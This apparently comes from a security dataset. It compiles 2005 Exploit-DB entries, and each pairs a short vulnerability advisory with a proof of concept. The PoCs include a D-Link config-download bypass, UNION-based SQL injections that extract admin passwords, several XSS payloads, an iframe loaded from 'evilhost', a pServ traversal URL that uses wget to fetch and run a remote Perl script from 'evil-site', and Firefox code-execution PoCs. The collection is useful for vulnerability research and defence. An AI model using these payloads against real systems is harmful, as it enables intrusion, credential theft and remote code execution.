QLWD/code_shield huggingface dataset:
标题: D-Link DSL Router - Remote Authentication Bypass EDB-ID: 25684 CVE: 2005-1827 类型: REMOTE 平台: HARDWARE 发布日期: 2005-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/13679/info

Various D-Link DSL routers are susceptible to a remote authentication bypass vulnerability. This issue is due to a failure of the devices to require authentication in certain circumstances.

This vulnerability allows remote attackers to gain complete administrative access to affected devices.

Various D-Link devices with the following firmware revisions are affected by this issue:
- V1.00B01T16.EN.20040211
- V1.00B01T16.EU.20040217
- V0.00B01T04.UK.20040220
- V1.00B01T16.EN.20040226
- V1.00B02T02.EU.20040610
- V1.00B02T02.UK.20040618
- V1.00B02T02.EU.20040729
- V1.00B02T02.DE.20040813
- V1.00B02T02.RU.20041014

Due to the common practice of code reuse, other devices are also likely affected by this issue. 

<html><head>Download config.xml:<title>GetConfig - Config file
download</title></head><body>

<script lang="javascript">
function invia_richiesta()
{
document.DownloadConfig.action='http://'+document.InputBox.Host.value+'/cgi-bin/firmwarecfg';
document.DownloadConfig.submit();
}
</script>

<form name="InputBox">
<br>http://<input Name="Host" type="text" value="">/cgi-bin/firmwarecfg<br>
</form>
<form name="DownloadConfig" method="POST" action=""
enctype="multipart/form-data">
<input type="Submit" name="config" value="Download"
onClick="javascript:invia_richiesta();"><br>
</form></body></html> URL: https://www.exploit-db.com/exploits/25684
标题: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_sponsor.php?id' SQL Injection EDB-ID: 25679 CVE: 2005-1633 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13650/info
      
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
      
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/jgs_portal_sponsor.php?id=[SQL-Injection] URL: https://www.exploit-db.com/exploits/25679
标题: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_statistik.php?year' SQL Injection EDB-ID: 25673 CVE: 2005-1633 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13650/info

JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/jgs_portal_statistik.php?meinaction=mitglieder&month=1&year=1[SQL-Injection]
http://www.example.com/jgs_portal_statistik.php?meinaction=themen&month=1&year=1[SQL-Injection]
http://www.example.com/jgs_portal_statistik.php?meinaction=beitrag&month=1&year=1[SQL-Injection] URL: https://www.exploit-db.com/exploits/25673
标题: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_viewsgraf.php?tag' SQL Injection EDB-ID: 25676 CVE: 2005-1633 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13650/info
   
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
   
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/jgs_portal_viewsgraf.php?jahr=1&monat=1&tag=1[SQL-Injection] URL: https://www.exploit-db.com/exploits/25676
标题: NPDS 4.8/5.0 - 'comments.php?thold' SQL Injection EDB-ID: 25671 CVE: 2005-1637 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13649/info

NPDS is prone to an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'thold' parameter.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

All versions are considered to be vulnerable at the moment.


http://www.example.com/npds/comments.php?thold=0%20UNION%20SELECT%200,0,0,0,0,0,0,0,aid,pwd,0,0%20FROM%20authors

http://www.example.com/npds/comments.php?thold =0%20UNION%20SELECT%200,0,0,0,0,0,0,0,uname,pass,0,0%20FROM%20users URL: https://www.exploit-db.com/exploits/25671
标题: Skull-Splitter Guestbook 1.0/2.0/2.2 - Multiple HTML Injection Vulnerabilities EDB-ID: 25662 CVE: 2005-1620 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/13632/info

Skull-Splitter Guestbook is prone to multiple HTML injection vulnerabilities. It is possible to inject HTML and script code into the title and content of posted messages.

The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user, other attacks are also possible. A victim user who views the vulnerable sections of the site would have the attacker-supplied HTML and script code execute in the security context of the affected site.

Skull-Splitter Guestbook versions 1.0, 2.0, and 2.2 have been reported to be vulnerable, however, other versions may be affected as well. 

1. Type in the title or content of msg

<script>alert(document.cookie)</script>

Type in the title or content of msg

2. <iframe src=http://evilhost/evil.php> URL: https://www.exploit-db.com/exploits/25662
标题: pserv 3.2 - Directory Traversal EDB-ID: 25669 CVE: 2005-1365 类型: REMOTE 平台: LINUX 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13642/info

pServ is prone to a directory traversal vulnerability. This occurs because the application does not implement a proper method for filtering directory traversal sequences from URIs. Since this can be done from the cgi-bin directory, it is possible to execute commands to which the Web server has permission.

This issue was reported to affect pServ version 3.2; earlier versions are like vulnerable. 

The following url downloads a script (or executable) to the server:
http://www.example.com:2000/cgi-bin///////////../../../../../../../../usr/bin/wget?-q+http://evil-site/evil.pl/+-O+/tmp/evil.pl

This is how the script can be executed afterwards:
http://www.example.com:2000/cgi-bin///////////../../../../../../../../usr/bin/perl?/tmp/evil.pl URL: https://www.exploit-db.com/exploits/25669
标题: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_beitraggraf.php?year' SQL Injection EDB-ID: 25675 CVE: 2005-1633 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13650/info
  
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/jgs_portal_beitraggraf.php?month=1&year=1[SQL-Injection] URL: https://www.exploit-db.com/exploits/25675
标题: PServ 3.2 - Source Code Disclosure EDB-ID: 25666 CVE: 2005-1366 类型: WEBAPPS 平台: CGI 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13638/info

pServ is affected by a remote source code disclosure vulnerability.

When handling a specially-crafted URI request, the application discloses the source code of scripts in the 'cgi-bin' directory.

Information gathered through this attack could be used to launch further attacks against a system. 

http://www.example.com/somedir/../cgi-bin/test.pl URL: https://www.exploit-db.com/exploits/25666
标题: NPDS 4.8/5.0 - 'pollcomments.php?thold' SQL Injection EDB-ID: 25672 CVE: 2005-1637 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13649/info
 
NPDS is prone to an SQL injection vulnerability.
 
This issue is due to a failure in the application to properly sanitize user-supplied input to the 'thold' parameter.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
All versions are considered to be vulnerable at the moment.

http://www.example.com/npds/pollcomments.php?thold=0%20UNION%20SELECT%200,0,0,0,0,0,0,0,aid,pwd,0,0%20FROM %20authors

http://www.example.com/npds/pollcomments.php?op=results&pollID=2&mode=&order=&thold=0%20UNION%20SELECT%200,0,0,0,0,0,0,0,uname,pass,0,0%20FROM%20u URL: https://www.exploit-db.com/exploits/25672
标题: Mozilla Suite And Firefox - DOM Property Overrides Code Execution EDB-ID: 25670 CVE: 2005-1532 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13645/info

Mozilla Suite and Mozilla Firefox are affected by a code-execution vulnerability. This issue is due to a failure in the application to properly verify Document Object Model (DOM) property values.

An attacker may leverage this issue to execute arbitrary code with the privileges of the user that activated the vulnerable browser, ultimately facilitating a compromise of the affected computer.

This issue is reportedly a variant of BID 13233. Further details are scheduled to be released in the future; this BID will be updated accordingly.

<html>
<head>
<title>Proof-of-Concept for Firefox 1.0.3 - by moz_bug_r_a4</title> 
<body>
<script>
// it needs chrome privilege to get |Components.stack|
var code = "alert('Exploit!\\n\\n' + Components.stack);";
var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');
var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";

var script = (function() {
function x() { new Object(); }
return new Script(scriptCode);
})();

document.body.__defineGetter__("type", function() {
return { toString : script };
});

var event = document.createEvent("Events");
event.initEvent("PluginNotFound", true, true);
document.body.dispatchEvent(event);
</script>
</body>

-----------------------------------------------------------------------------------------

<html>
<head>
<title>Proof-of-Concept for Mozilla 1.7.7 - by moz_bug_r_a4</title> 
<body>

<div id="d"></div>
<pre>
Click on the red box.
</pre>

<script>
// it needs chrome privilege to get |Components.stack|
var code = "alert('Exploit!\\n\\n' + Components.stack);";
var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');
var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";

var script = (function() {
function x() { new Object(); }
return new Script(scriptCode);
})();

var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
var node = document.createElementNS(xulns, "input");

node.__defineGetter__("type", function() {
return { toString : script };
});

node.style.width = "100px";
node.style.height = "100px";
node.style.backgroundColor = "#f00";
document.getElementById("d").appendChild(node);
</script>
</body> URL: https://www.exploit-db.com/exploits/25670
标题: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal.php?anzahl_beitraege' SQL Injection EDB-ID: 25674 CVE: 2005-1633 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13650/info
 
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/jgs_portal.php?anzahl_beitraege=[SQL-Injection] URL: https://www.exploit-db.com/exploits/25674
标题: PHPHeaven PHPMyChat 0.14.5 - 'Start-Page.CSS.php3' Cross-Site Scripting EDB-ID: 25659 CVE: 2005-1619 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/13627/info

phpMyChat is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/chat/config/start-page.css.php3?Charset=iso-8859-1&medium=10&FontName=&lt;script&gt;var%20test=1;alert(test);&lt;/script&gt; URL: https://www.exploit-db.com/exploits/25659
标题: OpenBB 1.0.8 - 'member.php' Cross-Site Scripting EDB-ID: 25657 CVE: 2005-1613 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/13625/info

OpenBB is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects OpenBB version 1.0.8; other versions may also be vulnerable. 

http://www.example.com/member.php?action=list&page=2&sortorder=username&perpage=25&reverse="><script>alert('test');</script> URL: https://www.exploit-db.com/exploits/25657
标题: PHPHeaven PHPMyChat 0.14.5 - 'Style.CSS.php3' Cross-Site Scripting EDB-ID: 25660 CVE: 2005-1619 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/13628/info

phpMyChat is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/chat/config/style.css.php3?Charset=iso-8859-1&medium=10&FontName=&lt;script&gt;var%20test=1;alert(test);&lt;/script&gt; URL: https://www.exploit-db.com/exploits/25660
标题: OpenBB 1.0.8 - 'Read.php' SQL Injection EDB-ID: 25656 CVE: 2005-1612 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/13624/info

OpenBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue reportedly affects OpenBB version 1.0.8; other versions may also be vulnerable. 

http://www.example.com/openbb/read.php?action=lastpost&TID='
http://www.example.com/openbb/read.php?TID=' URL: https://www.exploit-db.com/exploits/25656
标题: Keyvan1 ImageGallery - Database Disclosure EDB-ID: 25661 CVE: 2005-1645 类型: WEBAPPS 平台: ASP 发布日期: 2005-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/13630/info

Keyvan1 ImageGallery is prone to an access validation vulnerability that could allow the underlying database to be downloaded. 

http://www.example.com/[path]/image.mdb URL: https://www.exploit-db.com/exploits/25661
标题: Ultimate PHP Board 1.8/1.9 - 'viewforum.php' SQL Injection EDB-ID: 25655 CVE: 2005-1615 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/13622/info

Ultimate PHP Board is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/forum/viewforum.php?id=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%7
5%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C URL: https://www.exploit-db.com/exploits/25655
标题: Maxwebportal 1.3x - 'post.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25651 CVE: 2005-1561 类型: WEBAPPS 平台: ASP 发布日期: 2005-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/13601/info

MaxWebPortal is affected by multiple remote vulnerabilities. These issues may allow an attacker to carry out cross-site scripting, SQL injection and HTML injection attacks.

MaxWebPortal 1.3.5 and prior versions are reportedly vulnerable to these issues. 

Cross-site Scripting
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&mod="><plaintext>

/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&M="><plaintext>

/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&type="><plaintext>

HTML Injection:
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=http://<plaintext> URL: https://www.exploit-db.com/exploits/25651
标题: Ultimate PHP Board 1.8/1.9 - 'viewforum.php' Cross-Site Scripting EDB-ID: 25654 CVE: 2005-1614 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/13621/info

Ultimate PHP Board is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/viewforum.php?id=t=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63
%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3Cnote%20unescape('=%22%3E%3C%73%63%72%69%70%74%3E%61
%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C')%20==%20'%22%3E<script
>alert(document.cookie)</script>%3C URL: https://www.exploit-db.com/exploits/25654
标题: Yahoo! Messenger 5.x/6.0 - URL Handler Remote Denial of Service EDB-ID: 25658 CVE: 2005-1618 类型: DOS 平台: WINDOWS 发布日期: 2005-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/13626/info

Yahoo! Messenger is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

A remote user can cause Yahoo! Messenger to disconnect through malicious emails or web pages.

This issue is reported to affect Yahoo! Messenger versions 5.x to 6.0 Windows; other versions on other operating systems may also be affected. 

<a href="YMSGR:%63%68%61%74%3F:::%26%26%26%26">Click Here</a>
<a href="YMSGR:Chat?:::%26%26%26%26">Click Here</a> URL: https://www.exploit-db.com/exploits/25658
标题: Open Solution Quick.Cart 0.3 - 'index.php' Cross-Site Scripting EDB-ID: 25650 CVE: 2005-1587 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/13599/info

Quick.Cart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect Quick.Cart version 0.3.0; other versions may also be affected. 

http://www.example.com/?p=productsList&sWord=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/index.php?p=productsList&sWord=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25650
标题: GeoVision Digital Surveillance System 6.0 4/6.1 - Unauthorized '.JPEG' Image Access EDB-ID: 25643 CVE: 2005-1552 类型: REMOTE 平台: WINDOWS 发布日期: 2005-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/13571/info

GeoVision Digital Surveillance System is prone to a vulnerability that allows remote unauthorized attackers to view JPEG images stored on a server.

This issue results from an access validation error.

GeoVision Digital Surveillance System versions 6.04 or 6.1 are reportedly vulnerable. 

http://www.example.com/cam1.jpg
http://www.example.com/cam2.jpg
http://www.example.com/cam[1-16].jpg URL: https://www.exploit-db.com/exploits/25643
标题: NukeET 3.0/3.1 - Base64 Codigo Variable Cross-Site Scripting EDB-ID: 25642 CVE: 2005-1610 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/13570/info

NukeET is prone to a cross-site scripting vulnerability.

The source of this issue is that HTML and script code is not properly sanitized from URI variables before being output in a dynamically generated Web page. However, to successfully trigger the issue, HTML and script code may be Base64-encoded when passed as a URI variable argument.

An attacker may exploit the issue by enticing a user to following a link that includes hostile Base64-encoded HTML and script code. The malicious input will be decoded by the application and may then be rendered in the browser of the user who visits the link.

The following Base64-encoded string is equivalent to <script>alert()</script><h1>XSS PoW@ !!!</h1>:

PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+PGgxPlhTUyBQb1dAICEhITwvaDE+

http://www.example.com/security.php?codigo=
PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+PGgxPlhTUyBQb1dAICEhITwvaDE+ URL: https://www.exploit-db.com/exploits/25642
标题: WowBB 1.6 - 'View_User.php' SQL Injection EDB-ID: 25641 CVE: 2004-2181 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/13569/info

WowBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/wowbb/view_user.php?list=1&letter=&sort_by='[SQL Injection] URL: https://www.exploit-db.com/exploits/25641